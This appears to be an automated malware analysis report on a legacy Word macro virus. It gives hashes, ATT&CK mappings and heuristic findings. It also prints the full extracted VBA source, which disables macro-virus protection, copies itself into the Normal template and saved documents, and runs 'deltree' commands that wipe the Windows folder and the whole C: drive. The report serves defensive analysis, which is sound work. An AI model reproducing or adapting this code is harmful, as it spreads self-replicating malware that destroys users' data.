Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8603696604857011…

MALICIOUS

Office (OLE)

52.5 KB Created: 1980-05-16 01:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dbeec4c5f9d82d4b83bda60c3e02c7c9 SHA-1: dd68521ef5aa732cc731197840da08fcf43fc860 SHA-256: 86036966048570117cf16c829e2ec4f7de1310efb65341ba740d98abd7f4e5e1
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1485 Data Destruction

The sample contains legacy WordBasic macros, including an AutoClose subroutine that attempts to copy itself and a UserForm to the Normal template, indicating an attempt at persistence. The AutoExec subroutine contains commands to execute 'deltree /y c:\windows' and 'deltree /y c:\*.*', which are destructive file deletion commands. The presence of these destructive commands and the persistence mechanism suggests a malicious intent, likely for data destruction or as part of a larger malware infection.

Heuristics 6

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "deltree /y c:\windows", vbMinimizedFocus
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3278 bytes
SHA-256: db56c5217a59558ede5a2e2b632e1969d19e9ff14e2dffb3401a1e3c003b0981
Detection
ClamAV: Win.Trojan.DelTree-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nrobot"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
If Day(Now()) = "1" Then
Shell "deltree /y c:\windows", vbMinimizedFocus
Shell "deltree /y c:\*.*", vbMinimizedFocus
End If
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "nrobot" Then
        nrobotInstalled = -1
    End If
Next i
If Not nrobotInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="nrobot", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
End If
ErrorAC:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="nrobot", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
UserForm1.Show
Shell "deltree /y c:\windows", vbHide
Shell "deltree /y c:\*.*", vbHide
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    MsgBox "Naughty Robot"
ErrorFT:
End Sub

Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
    MsgBox "Naughty Robot"
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
    MsgBox "Naughty Robot", vbSystemModal, "Microsoft Word"
ErrorVVBC:
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{80744931-BE44-11BD-B120-444553540000}{8074490A-BE44-11BD-B120-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
Shell "deltree /y c:\windows", vbMinimizedFocus
Shell "deltree /y c:\*.*", vbMinimizedFocus
End Sub

Private Sub CommandButton2_Click()
Shell "deltree /y c:\windows", vbMinimizedFocus
Shell "deltree /y c:\*.*", vbMinimizedFocus
End Sub

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